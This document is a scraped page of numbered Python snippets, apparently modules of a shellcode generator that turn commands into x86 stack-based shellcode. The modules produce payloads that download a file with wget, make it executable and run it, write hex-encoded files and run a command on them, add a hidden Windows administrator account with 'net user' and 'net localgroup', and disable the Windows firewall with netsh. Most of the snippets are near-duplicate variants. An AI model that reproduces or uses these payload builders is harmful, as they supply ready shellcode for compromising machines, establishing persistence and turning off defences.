Exemplo n.º 1
0
def run(path_file,content):
	null = len(path_file) % 4
	if null is not 0:
		null = ''
	if null is 0:
		null = 'xor %ebx,%ebx\npush %ebx\n'
	return template.write(str(null),stack.generate(str(path_file),'%ebx','string'),stack.generate(str(content),'%ecx','string'),stack.generate(str(len(content)),'%edx','int'))
Exemplo n.º 2
0
def run(data):
	path_file,content=data[0],data[1]
	null = len(path_file) % 4
	if null is not 0:
		null = ''
	if null is 0:
		null = 'xor %ebx,%ebx\npush %ebx\n'
	return write(str(null),stack.generate(str(path_file),'%ebx','string'),stack.generate(str(content),'%ecx','string'),stack.generate(str(len(content)),'%edx','int'))
Exemplo n.º 3
0
def run(data):
    command = data[0]
    if command.find(" ") >= 0:
        command = command.replace('[space]', ' ')
        if int(len(command)) < 5:
            command = str(
                command) + '[space]&&[space]echo[space]1[space]>[space]/dev/null'  # bypass a bug in here, fix later
        # bug in line 12 & 13, check later
        return sys(stack.generate(
            command.replace('[space]', ' '), '%ecx', 'string'))
    else:
        return sys(stack.generate(command, '%ecx', 'string'))
Exemplo n.º 4
0
def run(data):
    command = data[0]
    if command.find(" ") >= 0:
        command = command.replace('[space]', ' ')
        if int(len(command)) < 5:
            command = str(
                command
            ) + '[space]&&[space]echo[space]1[space]>[space]/dev/null'  # bypass a bug in here, fix later
        # bug in line 12 & 13, check later
        return sys(
            stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
    else:
        return sys(stack.generate(command, '%ecx', 'string'))
Exemplo n.º 5
0
def run(command):
    command = command.replace('[space]', ' ')
    if len(command) < 5:
        command = str(command) + '    '
    #bug in line 12 & 13, check later
    return template.sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 6
0
def run(command):
    command = command.replace('[space]', ' ')
    if int(len(command)) < 5:
        command = str(
            command
        ) + '[space]&&[space]echo[space]1[space]>[space]/dev/null'  #bypass a bug in here, fix later
    #bug in line 12 & 13, check later
    return template.sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 7
0
def run(filename,content):
	content = binascii.b2a_hex(content.replace('[space]',' '))
	l = len(content) -1
	n = 0
	c = '\\x'
	for word in content:
		c += word
		n+=1
		if n is 2:
			n = 0
			c += '\\x'
	c = c[:-2]
	command = 'echo -e "%s" > %s' %(str(c),str(filename)) 
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 8
0
def run(data):
    filename, content = data[0], data[1]
    content = binascii.b2a_hex(content.replace("[space]", " "))
    l = len(content) - 1
    n = 0
    c = "\\x"
    for word in content:
        c += word
        n += 1
        if n is 2:
            n = 0
            c += "\\x"
    c = c[:-2]
    command = 'echo -e "%s" > %s' % (str(c), str(filename))
    return sys(stack.generate(command.replace("[space]", " "), "%ecx", "string"))
Exemplo n.º 9
0
def run(data):
	filename,content=data[0],data[1]
	content = binascii.b2a_hex(content.replace('[space]',' '))
	l = len(content) -1
	n = 0
	c = '\\x'
	for word in content:
		c += word
		n+=1
		if n is 2:
			n = 0
			c += '\\x'
	c = c[:-2]
	command = 'echo -e "%s" > %s' %(str(c),str(filename)) 
	return sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 10
0
def run(filename,content,command):
	command = command.replace('[space]',' ')
	try:
		cont = binascii.b2a_hex(open(content).read())
	except:
		from core import start
		sys.exit(color.color('red')+'Error, Cannot find/open the file %s'%(content)+color.color('reset'))
	l = len(cont) -1
	n = 0
	c = '\\x'
	for word in cont:
		c += word
		n+=1
		if n is 2:
			n = 0
			c += '\\x'
	c = c[:-2]
	command = 'echo -e "%s" > %s ; chmod 777 %s ; %s'%(str(c),str(filename),str(filename),str(command))
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 11
0
def run(filename, content, command):
    command = command.replace('[space]', ' ')
    try:
        cont = binascii.b2a_hex(open(content).read())
    except:
        from core import start
        sys.exit(
            color.color('red') + 'Error, Cannot find/open the file %s' %
            (content) + color.color('reset'))
    l = len(cont) - 1
    n = 0
    c = '\\x'
    for word in cont:
        c += word
        n += 1
        if n is 2:
            n = 0
            c += '\\x'
    c = c[:-2]
    command = 'echo -e "%s" > %s ; chmod 777 %s ; %s' % (
        str(c), str(filename), str(filename), str(command))
    return template.sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 12
0
def run(data):
	file_to_perm,perm_num=data[0],data[1]
	return chmod(stack.generate(perm_num,'%ecx','int'),stack.generate(file_to_perm,'%ebx','string'))
Exemplo n.º 13
0
def run(data):
    directory_to_create = data[0]
    return dir_create(
        stack.generate(directory_to_create, "%ecx", "string"),
        directory_to_create)
Exemplo n.º 14
0
def run(data):
    dirname = data[0]
    command = 'mkdir %s' % (str(dirname))
    return sys(stack.generate(
        command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 15
0
def run(url,filename):
	command = 'wget %s -O %s' %(str(url),str(filename)) 
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 16
0
def run(data):
    dirname = data[0]
    command = 'mkdir %s' % (str(dirname))
    return sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 17
0
def run(data):
    directory_to_create = data[0]
    return dir_create(stack.generate(directory_to_create, "%ecx", "string"),
                      directory_to_create)
Exemplo n.º 18
0
def run(file_to_perm, perm_num):
    return template.chmod(stack.generate(perm_num, '%ecx', 'int'),
                          stack.generate(file_to_perm, '%ebx', 'string'))
Exemplo n.º 19
0
def run(command):
	command = command.replace('[space]',' ')
	if int(len(command)) < 5:
		command = str(command) + '[space]&&[space]echo[space]1[space]>[space]/dev/null' #bypass a bug in here, fix later
	#bug in line 12 & 13, check later 
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 20
0
def run(file_to_perm,perm_num):
	return template.chmod(stack.generate(perm_num,'%ecx','int'),stack.generate(file_to_perm,'%ebx','string'))
Exemplo n.º 21
0
def run(data):
    url, filename, command = data[0], data[1], data[2]
    command = 'wget %s -O %s ; chmod +x %s ; %s' % (
        str(url), str(filename), str(filename), str(command))
    return sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 22
0
def run(command):
	command = command.replace('[space]',' ')
        if len(command) < 5: 
		command = str(command) + '    '
	#bug in line 12 & 13, check later 
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 23
0
def run(data):
    url = data[0]
    filename = data[1]
    return download_tofile(stack.generate(url, "%ecx", "string"),
                           stack.generate(filename, "%ecx", "string"))
Exemplo n.º 24
0
def run(dirname):
	command = 'mkdir %s' %(str(dirname)) 
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 25
0
def run(data):
    username = data[0]
    passsword = data[1]
    command = "cmd.exe /c net user " + username + " " + passsword + " /add && net localgroup administrators " + username + " /add"
    return add_admin(stack.generate(command, "%ecx", "string"), command)
Exemplo n.º 26
0
def run(data):
    url = data[0]
    filename = data[1]
    return download_exec(
        stack.generate(url, "%ecx", "string"), stack.generate(filename, "%ecx",
                                                              "string"))
Exemplo n.º 27
0
def run(data):
    file_to_perm, perm_num = data[0], data[1]
    return chmod(stack.generate(perm_num, '%ecx', 'int'),
                 stack.generate(file_to_perm, '%ebx', 'string'))
Exemplo n.º 28
0
def run(data):
    file_to_exec = data[0]
    return exc(stack.generate(file_to_exec, '%ebx', 'string'))
Exemplo n.º 29
0
def run(dirname):
    command = 'mkdir %s' % (str(dirname))
    return template.sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 30
0
def run(data):
    file_to_exec = data[0]
    return exc(stack.generate(file_to_exec, "%ecx", "string"), file_to_exec)
Exemplo n.º 31
0
def run(data):
    command = "netsh firewall set opmode disable"
    return disable_firewall(stack.generate(command, "%ecx", "string"))
Exemplo n.º 32
0
def run(data):
	url,filename,command=data[0],data[1],data[2]
	command = 'wget %s -O %s ; chmod +x %s ; %s' %(str(url),str(filename),str(filename),str(command)) 
	return sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 33
0
def run(data):
    file_to_create = data[0]
    file_content = data[1]
    return create_file(stack.generate("echo " + file_content + ">" +
                                      file_to_create, "%ecx", "string"))
Exemplo n.º 34
0
def run(url, filename, command):
    command = 'wget %s -O %s ; chmod +x %s ; %s' % (
        str(url), str(filename), str(filename), str(command))
    return template.sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 35
0
def run(file_to_exec):
	return template.exc(stack.generate(file_to_exec,'%ebx','string'))